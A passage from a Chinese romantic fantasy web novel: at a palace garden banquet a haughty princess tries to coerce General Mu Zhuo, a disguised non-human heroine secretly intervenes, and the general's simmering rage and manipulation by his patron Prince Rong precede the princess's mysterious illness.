状元及第与将军之身,这两个身份加注在他身上,从来都并非赞誉之词,反倒更像是嘲讽、怜悯,或是那些看热闹不嫌事大之人的闲言碎语。
他微微垂着眼眸,任由马匹不紧不慢地前行。
有人谈论他的赫赫战功,有人议论他的行事手段,还有人对他的相貌评头论足。
然而,他皆充耳不闻。
只是下意识地抬手,轻轻按了按胸口的位置。
那里,紧贴着衣物藏着一张纸条,早已被他的体温捂得温热,纸条的边缘微微卷曲,却被他无数次小心翼翼地抚平。
“平安,勿念。”
简简单单的四个字,却仿佛有着千钧之力,他每日都要反复看上许多遍。
京城里关于慕酌的议论,宛楪也有所耳闻。
她进城那日,坐在马车之中,便听见路边茶棚里有人高谈阔论。
“……慕将军?嗐,那可是个十足的煞星!听说在战场上杀人如同麻秆般,眼睛都不带眨一下的!”
“那又怎样?人家可是堂堂状元!京城里不知多少姑娘心心念念想嫁给他呢!”
“想嫁?简直是白日做梦!那种人,哪个姑娘敢嫁?就不怕半夜被他一剑给……”
“哈哈哈哈,说得在理,说得在理……”
一阵哄笑声随之传来。
宛楪坐在马车里,面容平静,没有丝毫表情变化。
她只是静静地听着这些话语,一字一句,如同石子投入心湖,泛起层层涟漪,最终沉落在心底。
煞星。
杀人如麻。
想嫁。
不敢嫁。
她缓缓垂下眼眸,凝视着自己摊开的手掌,掌心的纹路细密而繁杂,与凡人并无二致。
可她终究不是凡人。
春日的游园宴选址在京郊的芙蓉园。
此时正值暮春时节,园中桃花仍残留几分未谢的风姿,而海棠却开得如火如荼,一树树粉白相间的花朵,在微风的轻抚下,纷纷扬扬地洒落一地花瓣,宛如一场粉色的雪。
宛楪抵达之时,园中已然聚集了众多宾客。
她身着一袭青绿色的衣裳,料子素雅,款式简约,然而那料子在光线映照下隐隐流转的独特光泽,却彰显出与寻常布帛的天壤之别。
有人不经意间投来目光,上下打量她一番后,又若无其事地移开视线。
在京城贵女们眼中,天机楼客卿这身份,不过等同于“不知从何处而来的乡野之人”罢了。
宛楪对此毫不在意。
她寻了一处静谧的角落,静静地伫立在一株古老的海棠树下,默默注视着来来往往的众人。
只见一群身着艳丽服饰的贵女们簇拥在一起,不知在谈论着什么趣事,笑得前仰后合,花枝乱颤。
身着官服的年轻公子们则三三两两悠然走过,手中轻摇折扇,口中谈论着诗词文章,尽显风雅之态。
婢女们则端着茶点,脚步匆匆,小心翼翼地穿梭在人群之间。
宛楪静静地看着这一切,仿佛自己置身事外,只是在观赏一幅生动的画卷。
一幅与她毫无关联的画卷。
不远处,几位贵女的交谈声随风飘入她的耳中,声音不大不小,却清晰可闻。
“听说慕将军今日也会出席?”
“真的假的?他不是向来不参加这类宴会吗?”
“嗐,陛下亲自下的旨意,他岂敢不来?”
“那可太棒了!我早就好奇这位状元将军究竟是何模样了!”
“你呀,别痴心妄想了,人家可是杀人不眨眼的主儿,你敢嫁给他?”
“看看而已,看看又不犯法!”
又是一阵欢快的笑声。
宛楪轻轻垂下眼眸,伸出手,恰好接住一片飘落的海棠花瓣。
花瓣轻薄如纸,粉白相间,落在她掌心,轻柔得几乎感受不到重量。
她没有抬头,只是静静地聆听着那些笑声渐渐远去。
变故在一个时辰后悄然发生。
宛楪原本站在一处回廊的阴影之中,远远看着远处贵女们玩投壶游戏。有人投中时,便会响起一阵喝彩声;有人投不中,则会引发一阵哄笑。
她静静地看着,脸上依旧没有什么表情。
就在这时,她看到了一个熟悉的身影。
萧府的嫡女,萧若兰。
宛楪曾与她有过一面之缘——在洪河口时,这位姑娘带着人追过来,一口一个“慕将军”,纠缠不休。
此刻,萧若兰正站在一处花圃前,对面是个穿着朴素的小姑娘,从衣着打扮来看,大概是某位小官的千金。
萧若兰不知说了些什么,只见那小姑娘低着头,脸涨得通红,眼眶里满是泪水,仿佛下一秒就会夺眶而出。
旁边围着一圈贵女,有的面露嘲笑之色,有的则抱着看热闹的心态,竟无一人上前为小姑娘解围。
“……也不瞧瞧自己什么身份,也敢站在这儿?”
萧若兰的声音清晰地传了过来,带着三分不屑与七分得意。
那小姑娘终究没能忍住,眼泪啪嗒啪嗒地落在衣襟上。
宛楪远远地看着这一幕。
她看到了小姑娘的窘迫无助,看到了萧若兰的飞扬跋扈,也看到了周围众人的冷漠无情。
她不禁想起那日在洪河口,萧若兰追着慕酌呼喊“慕将军”的情景。
她的眉头微微动了一下,仅仅是一下。
随后,她便移开了目光。
这一切,与她无关。
变故再次发生时,暮色已然四合。
宛楪正准备离去。
园中的宾客大多已散去,剩下的一些人还在花厅里饮酒作乐,隐隐传来阵阵欢声笑语。天边燃烧着一片绚烂的晚霞,将整座园子都染成了淡淡的橘红色,宛如一幅绝美的画卷。
宛楪沿着一条偏僻的小径缓缓往外走,小径两旁是茂密的竹林,微风拂过,竹叶沙沙作响,仿佛在诉说着不为人知的秘密。
她脚步轻盈,不紧不慢地走着。
就在这时,她听到了一阵声音。
“……慕将军,本宫已等候你多时了。”
那声音娇柔妩媚,带着几分慵懒,又透着一股居高临下的傲慢。
宛楪的脚步瞬间顿住。
她没有动弹,只是静静地伫立在竹林的阴影之中,透过疏密相间的竹叶,望向不远处的前方。
在不远处的凉亭里,站着两个人。
其中一个是慕酌。
他身着一袭玄色衣袍,背对着宛楪,看不清神情,但那浑身散发的冷冽气息,即便隔着如此远的距离,宛楪也能清晰地感受到。
另一个则是位女子,身着华丽的宫装,头上簪着金步摇,一举一动尽显矜贵与傲慢。
竟是大公主。
宛楪曾在天机楼的卷宗里见过她的画像。
“本宫听闻,”大公主又走近一步,声音软糯,仿佛在撒娇一般,“慕将军至今尚未成家?”
慕酌沉默不语,没有回应。
“那正好,”大公主嘴角微微上扬,露出一抹笑意,伸手似乎想去触碰他的衣袖,“本宫身边正缺个解闷的人。将军这般才貌,做本宫的男宠,倒是再合适不过。”
宛楪的眉头紧紧皱了起来。
“男宠”二字,清清楚楚地传入她的耳中,如同重锤般撞击着她的心。
慕酌依旧没有说话。
他只是微微侧身,不着痕迹地避开了那只手。
大公主的脸色瞬间变了。
“怎么?”她的声音陡然冷了下来,“本宫纡尊降贵,你竟然还不识好歹?”
“呵。”慕酌终于开口,声音平淡如水,没有丝毫起伏,“臣不敢高攀。”
慕酌嘴角笑着,心里盘算着自己这话,能不能让这个公主赶紧走。
“配不配,本宫说了算。”大公主再次露出笑容,重新靠近慕酌,“慕将军,你可得想清楚了。本宫瞧得上你,那是你的福气——”
她的话尚未说完。
一颗小石子从竹林中疾飞而出,不偏不倚,精准地砸在她的发髻上。
“啊——!”
大公主发出一声尖叫,连忙捂住头发,脚步踉跄地向后退去,头上的金步摇从发间滑落,“叮当”一声掉落在地。
“谁?!”
她猛地转过头,目光如炬,四下张望,脸色铁青,满是愤怒。
“谁在那儿?!给本宫滚出来!”
竹林里一片寂静,唯有风吹过竹叶的沙沙声,仿佛在回应她的愤怒。
没有人应答。
“来人!给本宫搜!”大公主尖叫着,声音尖锐刺耳,“本宫倒要看看,究竟是谁如此大胆——”
她呼喊了几声,却无人回应。
她带来的宫女侍卫都在远处等候,根本没有听到这边的动静。
慕酌静静地站在原地,一动未动。
他的目光越过凉亭的飞檐,直直地落在那片竹林里,刚才石子飞出的方向。
他什么都没有看见。
只有竹影在微风中摇曳,暮色愈发深沉。
但他却捕捉到了别的——
一片衣角。
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青绿色的衣角。
在竹叶间一闪而过,转瞬便消失在茫茫暮色之中。
慕酌的心跳陡然漏了一拍。
那颜色……
他的思绪瞬间飘回到一个人身上。
想起那日在洪河口,她身着一袭青绿色的衣裳,静静地站在废墟之中,望向他的眼神平静而淡漠,仿佛他们只是陌生人。
想起那夜在客栈,她留下的那张纸条,字迹纤细清瘦,如同她本人一般。
想起她沉入洪水之前,最后看他的那一眼。
那眼神平静得有些异样,甚至带着些许释然,仿佛洞悉了一切。
慕酌下意识地抬手,按在胸口的位置。
那张纸条还在。
“平安,勿念。”
他缓缓垂下眼眸,嘴角微微弯起,露出一个自嘲的弧度。
怎么可能呢?
她怎么会在这里?
她怎么会出现在京城?
她又怎么会……为他出手?
慕酌轻轻地摇了摇头,仿佛在嘲笑自己的痴心妄想。
他又看了一眼那片竹林。
暮色愈发浓重,竹影重重叠叠,已然什么都看不清了。
他缓缓转过身,不再去看大公主铁青的脸色,也不再理会那些尖锐的叫声,只是沿着来时的路,一步一步,渐行渐远。
宛楪的脚步依旧不紧不慢。
她离开那片竹林后,沿着一条无人的小径继续往外走,脚步轻盈得如同踩在云端,仿佛这世间的一切都无法羁绊她。
她自己也不明白为何会出手相助。
那颗石子飞出去的瞬间,她甚至没有经过任何思考。
只是听到大公主那些不堪入耳的话,看到慕酌孤零零地站在那里,身着玄色衣袍的背影显得如此落寞,还被一个高高在上的女人用“男宠”二字肆意侮辱——
那一刻,她的手便不由自主地动了。
此刻,她独自漫步在暮色之中,天边的晚霞逐渐黯淡下去,晚风也带上了一丝凉意,轻轻拂过她的脸庞。
她回想起自己刚才的举动。
想起大公主那惊慌失措的惊叫声。
想起那颗小石子精准砸中发髻时的手感,那一瞬间的触感,仿佛还残留在指尖。
她忽然有些想笑。
堂堂天机楼客卿,南国圣女,竟做出如此孩子气的举动。
但她终究没有笑出来。
她只是缓缓垂下眼眸,凝视着自己的手。
然后,她又想起了那片衣角。
离开时,她透过竹林的缝隙,瞥见了那个人。
他静静地站在原地,目光望向她所在的方向。
暮色太深,她看不清他的神情。
但她却清晰地看到了他的手——缓缓抬起,按在了胸口的位置。
那个动作……
仿佛那里藏着无比珍贵的东西,宛楪垂下眼眸,继续向前走去。
暮色渐浓,最后一抹晚霞也缓缓沉入了天际,黑暗逐渐笼罩了大地。
她独自走在无人的小径上,脚步轻得如同踩在云上,仿佛与这夜色融为一体。
当宛楪回到天机楼在京城的别院时,夜已经很深了。
不知何时,丁灵已然来到这里,正坐在院中的石桌旁,手中捧着一盏茶,见她走进来,似笑非笑地抬头望向她。
“回来了?”
宛楪轻轻点了点头。
“宴会有趣吗?”
宛楪没有作答,只是默默地在她对面坐下。
丁灵上下打量着她,忽然挑了挑眉。
“怎么了?瞧你这神色,像是有心事。”
宛楪沉默了片刻。
“没什么。”
丁灵盯着她看了许久,忽然轻笑出声。
“行,没什么就好。”她端起茶盏,轻抿一口,悠悠说道,“不过我倒是听闻了些有趣的事儿。”
宛楪抬起眼眸,看向她。
“听说今儿傍晚,大公主在芙蓉园里被人用石子砸了,”丁灵嘴角微微上扬,带着一丝戏谑的笑意,“气得暴跳如雷,在园子里四处搜寻凶手,却一无所获。你说这事儿,是不是挺有意思?”
宛楪垂下眼眸,端起茶盏,也轻抿了一口。
“没意思。”
丁灵忍不住笑出了声。
她没有再继续追问,只是悠然地靠回椅背,仰望着天上闪烁的星星,不紧不慢地喝着茶。
宛楪同样没有说话。
她只是静静地坐在那里,凝视着盏中浮沉的茶叶,思绪却早已飘远。
她回想起傍晚时听到的那些话。
“本宫身边正缺一个解闷的人。”
“做本宫的男宠,倒是正好。”
她想起慕酌站在那里,身姿挺拔却又显得如此孤独,只是微微侧身避开大公主的手。
想起他说“臣,不配”时那平淡如水的语气,仿佛世间的荣辱都与他无关。
想起他按在胸口的那只手,仿佛在守护着什么重要的东西。
她又想起街头巷尾那些关于他的议论——
煞星。
杀人如麻。
想嫁。
不敢嫁。
她缓缓垂下眼眸,指尖轻轻摩挲着茶盏的边缘,思绪愈发深沉。
人与妖相恋,究竟能有怎样的结局?
她一直以来都是这样认为的,人妖殊途,难有善终。
可是——
她忽然想到一个问题。
那些京城贵女们,她们真的了解他吗?
她们只知道他是个令人畏惧的煞星,是个传闻中杀人如麻的将军。
她们想嫁给他,是因为他的才名远扬,他的相貌出众,还是他那看似“遥不可及”?
116. 羞辱
春日游园宴已至第三日,地点依旧设在那繁花似锦的芙蓉园。
前两日的赛诗与赛马活动,让整个园子充满了文人的雅趣与骑手的豪情。而今日,这场盛宴迎来了最为热闹的环节——射柳。
园中特意搭建起高高的彩棚,棚顶的锦缎在微风中轻轻摇曳,发出沙沙的声响。
皇室宗亲与勋贵大臣们分坐在彩棚两侧,他们身着华服,神态悠然,正满心期待地等着看那些年轻公子们在射柳场上一展风采。
宛楪如往常一般,静静地站在那株老海棠树下。
不远处的彩棚里,贵女们三三两两,慵懒地坐在那里。
她们手中轻摇着团扇,扇面上绘着精美的花鸟图案,随着她们的动作,扇面时开时合,隐隐露出她们娇艳的面容。
她们时而凑在一起,窃窃私语,银铃般的笑声不时传来。
萧亦熙坐在最前面的位置,她精心梳理的发髻上,珠翠闪耀,愈发衬托出她眉眼间的得意。她时不时地抬眼望向某个方向,嘴角始终噙着一抹志在必得的笑。
那个方向,正是男宾席。
慕酌静静地坐在男宾席中,今日他身着一袭玄色衣袍,那深沉的颜色犹如夜幕,衬得他那张脸愈发冷峻,仿佛一座千年不化的冰山。
周围的年轻公子们正谈笑风生,气氛热烈,他们高谈阔论着诗词歌赋、家国大事,脸上洋溢着青春的朝气与自信。
然而,慕酌却仿佛置身于另一个世界,
他一言不发,只是垂着眼,那专注的模样,像是在凝视面前那盏热气腾腾的茶,又像是思绪早已飘远,什么都没看。
偶尔有人凑过去,试图与他攀谈,可他眼皮都不抬一下,仿佛那些声音根本无法传入他的耳中。
来人见状,只能讪讪地退回去,心中暗自嘀咕着他的孤傲。
宛楪远远地看着这一切,目光始终停留在慕酌身上。
她看见他垂着眼的样子,也看见周围那些人明里暗里打量他的目光,
有畏惧的,那是被他战场上的威名所震慑;有好奇的,对他这位状元将军的传奇经历充满好奇;
还有算计的,试图从他身上找到可利用的价值。
她微微垂下眼,伸出手,恰好接住一片飘落的海棠花。那花瓣娇嫩欲滴,粉白的颜色如同少女的脸颊,脉络清晰可见,仿佛在诉说着生命的脆弱与短暂。
变故在射柳结束后悄然降临。
日头渐渐偏西,如血的夕阳将整个芙蓉园染成了橙红色,给园中万物都披上了一层梦幻的纱衣。
宴席已到了将散未散的时刻,空气中弥漫着淡淡的酒香与花香。有人兴致勃勃地提议去湖边赏鱼,于是一群人便浩浩荡荡地朝着湖边走去,欢声笑语在园中回荡。
不知何时,慕酌落了单,独自走在一条偏僻的小径上。
这条小径两旁种满了郁郁葱葱的松柏,高大的树木遮天蔽日,使得小径显得格外幽静。
斑驳的阳光透过树叶的缝隙洒下,在地上形成一片片金色的光斑。
然而,平静很快被打破。
他被拦住了。不,准确地说,是有人故意在那儿等着他。
宛楪本打算从另一条路离开,不经意间远远地看见那道明黄色的身影,脚步不由自主地微微顿住。
那是大公主。她身着华丽的宫装,明黄色的绸缎上绣着精美的凤凰图案,金线在阳光下闪烁着耀眼的光芒。
她站在小径中央,身后跟着四五个宫女太监,个个低着头,大气都不敢出。
大公主笑容满面地望着走来的慕酌,那笑容看似亲切,却带着一股与生俱来的居高临下的意味。
“慕将军,好巧。”
她的声音娇媚得如同春日里的黄莺,却又隐隐透着一种不容抗拒的威严。
慕酌停下脚步,神色平静如水。他没有说话,只是缓缓抬起眼,目光淡淡地落在面前这个人身上。那
深邃而冷漠。
大公主却丝毫不为所动,她迈着轻盈的步伐,走上前绕着慕酌走了一圈,上下打量着他,那目光就像是在审视一件待价而沽的货物。
“本宫听说,慕将军生得很好看。”
她嘴角微微上扬,露出一个满意的笑容,“今日一见,果然名不虚传。”
周围的宫女太监们听了这话,纷纷低下头,不敢直视这一幕,仿佛多看一眼便是对大公主的不敬。
慕酌依旧沉默不语,像一座沉默的雕像般站在那里,任由她打量。
大公主打量够了,在他面前站定,仰起头望着他。那距离近得有些过分,近到她甚至能看清他眼底那一闪而过的杀意。
然而,她却浑然不觉,或者说,即便看见了,她也根本不在乎。在她眼中,慕酌不过是一个可以随意拿捏的臣子。
“慕将军,”她的声音变得软软的,像是在向情郎撒娇,“本宫有个忙,想请将军帮一帮。”
慕酌垂下眼,静静地望着她,那目光冷得仿佛能将周围的空气都冻结,如同在看一个死人。
大公主却没有察觉到这股寒意,继续说道:“将军手里的兵权,借本宫用用呗?”
她的语气轻描淡写,仿佛在说一件微不足道的小事,就像借一把扇子、借一匹马那般随意。
“父皇那边,本宫自会去说。将军只管把兵符给本宫,往后的事,本宫替将军兜着。”
她顿了顿,又露出一个暧昧的笑容,那笑容如同一只狡黠的狐狸,
“将军要是答应,本宫还可以给将军一个机会。”她的眼神中透露出一丝轻佻,像是在看一条漂亮的、可以随意逗弄的狗,
“给本宫当三天奴才,伺候好了,本宫就考虑考虑,让将军做个驸马什么的。”
她说这话的时候,语气轻佻得如同在逗弄一只猫、一条狗,丝毫没有意识到自己的话有多么冒犯。
周围的宫女太监们把头埋得更低了,他们都知道大公主的任性与跋扈,此时只想尽量降低自己的存在感,以免惹祸上身。
慕酌的眼神终于有了变化,那目光陡然沉下去,深邃得如同深不见底的寒潭。但下一瞬,又有什么东西从潭底浮上来。
不是愤怒,不是隐忍,而是一种奇怪的、让人骨头发寒的平静。
那平静之下,仿佛隐藏着无尽的疯狂,就像是一个疯子,在决定先杀谁。
他的手指微微动了动,那是一种本能的反应。
只需一瞬,只需这短暂的一瞬,他就可以掐断她的脖子,让她那张得意的笑脸永远凝固,让她那些恶心的话永远说不出来,让她的血溅在这条寂静的小径上,溅在她那身华贵的宫装上,也溅在他自己手上。
然而,理智在这一刻拉扯着他。
“咳。”一声轻咳从不远处传来。
慕酌没有回头,但他知道那是谁。是荣王的人。
那个人站在几丈外的假山旁,假山造型奇特,宛如一只俯卧的巨兽。
他正静静地望着这边,目光平静得如同深湖,像是在看一场与他毫无关系的戏。但慕酌读懂了那目光里的意思。
那是荣王的意思。
“现在还不是时候。”
“忍一忍。”
“听话。”
“听话”这两个字,像一根尖锐的针,直直地扎进慕酌的脑子里。
他的思绪瞬间被拉回到很多年前,荣王第一次把他从死人堆里刨出来的那个夜晚。
那时的他还只是个孩子,浑身是血,恐惧如同潮水般将他淹没,他缩在角落里,身体不受控制地发抖。
荣王缓缓蹲在他面前,用那双粗糙的手轻轻擦去他脸上的血污,声音慈祥得像一个真正的父亲,“别怕,孩子。我会替你父皇报仇的。”
后来呢?
后来荣王派人来杀他,一次又一次。每一次,他都在生死边缘挣扎,每一次都被折磨得遍体鳞伤。<
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他曾满心疑惑地问为什么。
荣王却一脸慈祥地说:“这是磨练。你要变得更强,才能替你父皇报仇。我这是在帮你。”
说这话的时候,荣王的眼神还是那样慈祥,仿佛他真的是在为慕酌着想,像是在看一个不懂事的孩子。
再后来,慕酌不再问了。
他只是不停地杀人,杀那些刺客,杀战场上的敌人,杀所有挡在他面前的人。
可随着杀戮的增多,他渐渐明白了一个残酷的道理——荣王不是在磨练他,荣王是在养一条狗,一条听话的、会咬人的狗。
“将军?”大公主的声音将他拉回现实。
她歪着头,看着慕酌,脸上带着不耐烦的笑,“想什么呢?本宫问你话呢。”
慕酌缓缓垂下眼,他看见自己的手,那只手正在微微发抖。
这不是因为害怕,而是那种想杀人却杀不得的疯狂,如同汹涌的暗流,在骨头缝里乱窜。
他的嘴角忽然弯了一下,那是一个笑,很轻,很淡,淡得几乎看不出来。
但若有人看见,一定会觉得那笑容比刀子还可怕,那是一种压抑到极致的疯狂与愤怒。
然后他抬起眼,那目光落在大公主脸上,像是在看一个已经死透的人。
“公主说完了?”他的声音很淡,淡得像一潭毫无波澜的死水,听不出一丝情绪。
大公主愣了一下,显然没想到慕酌会是这样的反应,“说完了。怎么,将军想好了?”
慕酌没有回答,他只是静静地看着她,目光在她脸上停留了很久。
那目光里包含着太多复杂的情绪——有浓烈的杀意,有深深的恨意,还有压抑不住的疯狂,更有一丝让人骨头发寒的……怜悯?
他在怜悯什么?怜悯一个马上就要死的人吗?
大公主被他看得心里直发毛,原本得意的笑容僵在脸上,“你、你看什么?”
慕酌没有回答,他收回目光,转过身,沿着来时的路,一步一步缓缓走远。
那背影孤零零的,在逐渐加深的暮色里渐渐模糊,仿佛与这灰暗的世界融为一体。
大公主站在原地,愣了好一会儿,才终于反应过来,“他……他什么意思?!”然而,没有人敢回答她的问题,宫女太监们依旧低着头,大气都不敢出。
宛楪站在远处的竹林里,透过疏疏密密的竹叶,把这一切看在眼里。竹林里静谧无声,偶尔有风吹过,竹叶沙沙作响,仿佛在诉说着不为人知的秘密。
她看见那个人孤独地站在那里,被一个高高在上的女人用那种轻蔑的目光打量。
她看见大公主说“借兵权”时的轻描淡写,那语气中透露出的傲慢与无礼。
她看见大公主说“给本宫当三天奴才”时的居高临下,仿佛慕酌只是她手中随意摆弄的玩物。
她看见慕酌垂着眼,静静地站在那里,一动不动,仿佛一座沉默的冰山。
她也看见了他的手,那只手紧紧地攥着,指关节泛白,随后又缓缓松开,松开后又再次攥紧。那是在忍,一种极致的忍耐。
她活了这么久,见过太多人忍耐的样子,但他的手不一样。
那不仅仅是忍耐,她在心中思索着一个词,然后她终于想起来了,那是克制,一个疯子在克制自己杀人的冲动。
宛楪忽然觉得有些奇怪,她为什么要用“疯子”这个词?
她不知道。
她只是觉得,那一刻他站在那里,周身的气息就像是一座即将喷发的火山,蕴含着无尽的力量与愤怒,可他却凭借着强大的意志力按住了,转身默默离开。
她看着他的背影渐渐消失在暮色里,心中忽然涌起一种很奇怪的感觉。
她说不上来那是什么,只是那一刻,她忽然很想看看那个公主的脸在她不再笑的时候,会是怎样的表情。
宛楪缓缓垂下眼,转身离开了竹林,只留下沙沙作响的竹叶。
117. 我好想你
夜,如墨般浓稠,沉甸甸地压在将军府之上。
将军府内,书房紧闭,慕酌将自己隔绝其中,任何人都不得其门而入。
屋内,未燃一丝灯火,黑暗如潮水般肆意蔓延,将他紧紧包裹。
他就那样静静地坐在这片黑暗之中,宛如一尊雕像,一动不动。
窗外,清冷的月光奋力挤过缝隙,斑驳地洒落在他身上,将他的影子拉长,直至扭曲,好似一幅荒诞的画。白日里那些话语,如利箭般再次穿透他的思绪。
“给本宫当三天奴才。”
“伺候好了,本宫就考虑考虑。”
“借兵权用用呗。”
字字句句,都像一把把尖锐的刀,狠狠刺痛着他的自尊。他的手指缓缓收拢,关节因用力而泛白,最终攥成了铁一般坚硬的拳头。
紧接着,他笑了。那笑声极低极轻,像是从牙缝中挤出来的,在黑暗的空间里幽幽回荡,仿佛有什么珍贵的东西,正一寸寸地慢慢碎裂。
“奴才……”他的声音带着一丝沙哑,喃喃地重复着这两个字。
笑着笑着,他猛地抬起手,用尽全身力气砸向面前的几案。
伴随着一声轰然巨响,几案瞬间翻倒在地,上面摆放的物件稀里哗啦滚落一地。
然而,这还远远不够。
他霍然起身,双手如鹰爪般扯下墙上的挂画,而后狠狠一撕,那精美的画帛便被撕裂成两半,宛如他此刻破碎的心。
可愤怒依旧在他胸膛翻涌。他又一把抓起案上的砚台,朝着墙壁狠狠砸去。
“嘭!”砚台撞击墙壁后,瞬间碎成几瓣,浓稠的墨汁如黑色的血液一般四溅开来,在洁白的墙壁上留下一道触目惊心的漆黑痕迹。
不够,还是不够!!!
他站在这满地狼藉的中央,胸膛剧烈地起伏着,如同一只受伤后濒临疯狂的野兽。月光从窗外照进来,恰到好处地照亮了他半张脸,那眼底几乎能凝结成实质的疯狂,在月色下显得格外狰狞。
杀了她。
杀了那个狗皇帝。
杀了所有人!
就在他的杀意如燎原之火般熊熊燃烧之时,一个轻柔且慈祥的声音,宛如鬼魅般在门外响起:
“酌儿。”
那声音,就像是在呼唤一个调皮任性的孩子。
慕酌的动作瞬间僵住,宛如被施了定身咒一般。他就那样直直地站在黑暗中,全身紧绷,一动不动。
门,缓缓打开。
一个身着金贵白衣之人,迈着沉稳的步伐走了进来。
他面容冷厉,眉眼间却带着几分审视的笑意,那漂亮的眉眼,竟似比慕酌还要出众几分,隐隐带着一丝西域风情。
只是,此人周身仿佛被阴云笼罩,透着一股令人毛骨悚然的阴森之气。
他走进屋内,目光扫过满屋的狼藉,脸上没有丝毫惊讶之色,也没有半句责备之言,只是轻轻叹了口气:“又发脾气。”那语气,就像是一位长辈在无奈地数落一个任性的孩童。
此人,便是荣王。
慕酌的救命恩人,同时也是他父皇的旧部。是那个将他从死人堆里奋力刨出之人,却也是那个一次次派人来刺杀他,美其名曰“这是磨练”的人。
慕酌依旧站在原地,如同一根木桩,静静地望着走进来的荣王。
月光洒落在他脸上,将他的双眼映照得格外透亮,那眼眸中,杀意、恨意、疯狂交织在一起,还夹杂着一丝连他自己都无法说清道明的复杂情绪。
是畏惧吗?
是依赖吗?
还是习惯了听从命令的本能?
他不知道,也不想去分辨。
荣王缓缓走到他面前,停下脚步,而后抬起手,轻轻地拍了拍慕酌的肩膀。那动作,轻柔而慈爱,宛如在安抚一头受伤后随时可能暴起伤人的野兽。
“今日的事,我都听说了。”荣王的声音温和得如同三月春风,“那个公主,确实做得太过分了些。”
慕酌紧抿着嘴唇,一言不发,宛如一座沉默的冰山。
荣王注视着他,目光中带着恰到好处的心疼,那心疼真切得让人难以分辨真假。
“但你今日若是冲动动手,可就彻底坏了大事了。”
荣王微微摇头,轻轻叹了口气,“你如今是什么身份?手中握着多少兵权?朝中又有多少双眼睛在盯着你?这些你心里都该清楚。”
“那个公主再怎么混账,她终究是皇帝的女儿。你若是当众杀了她,那个狗东西怎会轻易放过你?”
“那些等着看你笑话的人,又岂会错过这个落井下石的机会?”
慕酌缓缓垂下眼,那如墨的睫毛微微颤动,像是在压抑着内心翻涌的情绪。
荣王的手依旧搭在他肩上,温热且有力,可慕酌却像是被烫到一般,猛地甩开。
“我这是在为你着想。”荣王的声音愈发温和,仿佛是一潭深不见底的湖水
“你父皇的仇还未报,那至高无上的位子还没夺回。你绝不能在这个时候出事,明白吗?”
慕酌依旧沉默不语,只是静静地站在那里,垂着眼,宛如一头被驯服的野兽,看似平静,内心却在疯狂挣扎。
荣王看着他这副模样,眼底不易察觉地闪过一丝满意。
“这就对了。”他再次拍了拍慕酌的肩,“听话。等大事成功了,你想杀谁便杀谁。现在,先暂且忍耐一下。”
言罢,荣王转身朝着门外走去。
走到门口时,他忽然停下脚步,缓缓回过头。那目光依旧慈祥,带着淡淡的笑意。
“对了,那几个刺客的事,我也听说了。他们下手确实重了些,但这是你必须经历的磨练。”
他微笑着,笑容却让人感觉如坠冰窖,“就这点磨练都受不住,以后就是你难保不会像你父皇一样英年早逝。”
说完,他便迈出房门,门轻轻合上,发出一声沉闷的声响。
屋内,再次陷入一片死寂般的黑暗。
慕酌依旧站在原地,一动不动,宛如一座雕塑。
月光静静地洒落在他身上,像是为他披上了一层银纱。
他的表情空洞而茫然,仿佛被抽走了灵魂,整个人如同被掏空了一般。
过了许久许久,久到仿佛时间都已经停滞。
他忽然又笑了,那笑声很低很轻,如同鬼魅的低吟,在黑暗中幽幽回荡。
笑着笑着,他缓缓抬起手,轻轻地按在胸口。
那里,藏着一张纸条,上面写着:平安,勿念。
他低下头,静静地看着自己按着胸口的手,那手正不受控制地微微颤抖着,仿佛在诉说着内心深处无法言说的恐惧与挣扎。
“听话……”
他再次喃喃着这两个字,声音中带着一丝自嘲。
他又笑了,这次的笑,带着一种绝望后的解脱。
笑完之后,他忽然开口,声音极轻,像是在对着空气,又像是在对着一个只有他能看见的人低语:“都死了多好。”
顿了顿,他又重复了一遍,声音带着一丝疲惫与厌倦:“不想干了,都死了多好。”
突然,他的嘴角缓缓弯起一个弧度,那是一个极其诡异的笑,很轻很淡,却让人从骨子里感到一阵寒意。
“但是那个公主,她活不到那时候。”
三日后,宫里突然传来公主病重的消息。
据说那日,公主在听完一曲悠扬婉转的曲子后,独自在雅间里歇息。
窗户不知为何突然被一阵狂风猛地吹开,一阵阴寒的风呼啸着灌
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了进来,紧接着,公主便毫无征兆地倒下了。
奇怪的是,她身上没有任何伤口,也没有中毒的迹象,仿佛一切都只是一场突如其来的意外。
太医们经过三天三夜的仔细检查,最终也只能无奈地给出“突发心疾”的结论。
皇帝听闻此消息后,龙颜大怒,当即下令彻查此事。
然而,半个月过去了,无论如何明察暗访,都丝毫没有头绪,一切线索都如同石沉大海,最终只能不了了之。
当这个消息传到将军府的时候,慕酌正在庭院中练剑。
他静静地听完禀报,脸上没有任何表情变化,只是手中的剑挥舞得更加迅猛,一剑又一剑,剑花在日光下闪烁出一道道冰冷的弧线。
要不是不想听那些烦人的念叨,他真想让她就那样死了。
他的嘴角微微弯起一个不易察觉的弧度,那弧度很轻很淡,却是他这几日来,第一个发自内心的笑。
消息传到天机楼别院的时候,宛楪正在悠闲地喝茶。
丁灵坐在她对面,将这件事绘声绘色地说完后,便笑眯眯地望着她,眼中闪烁着好奇的光芒:“你说奇不奇怪?好端端的,怎么就突发心疾了呢?”
宛楪轻轻垂下眼,优雅地端起茶盏,轻抿了一口茶,声音平淡如水:“是挺奇怪的。”
她的语气波澜不惊,听不出任何情绪波动。
丁灵看着她,忽然笑了,那笑容带着一丝狡黠:“可不是嘛。”
说罢,她也不再追问,只是端起茶盏,悠悠地喝了一口。
“那个公主惹过的人,看来还真不是个好脾气。不值得托付的人呐。”
宛楪没有说话。
窗外,春光正好,阳光透过斑驳的树叶,洒下一片片金色的光影,可屋内的气氛却显得有些微妙。
那天夜里,慕酌独自站在院子里,仰望着天上那轮皎洁的明月。
月光如水,洒在院子里,将一切都笼罩在一片清冷的银辉之中。
他的思绪,不由自主地飘回到那日在芙蓉园。那一闪而过的青绿色衣角,如同一只轻盈的蝴蝶,在他心头轻轻掠过;
那颗不知从何处飞来的石子,仿佛带着某种神秘的力量,打破了原有的平静;大公主那声惊恐的惊叫,仿佛还在耳边回荡。
他缓缓垂下眼,嘴角的弧度又加深了一分,那笑容在月光下显得有些复杂。
“你在吗?”他轻声问,声音如同微风般飘散在空气中。
没有人回答,只有月光静静地洒落在他身上,仿佛在诉说着无声的秘密。
他就那样静静地站着,仿佛与这夜色融为一体,站了很久很久。
然后,他忽然又笑了,那笑声很低很轻,在静谧的夜色中渐渐飘散。
“姐姐……”他喃喃自语,声音中带着一丝难以察觉的温柔,“谢谢你,我……好想见你。”
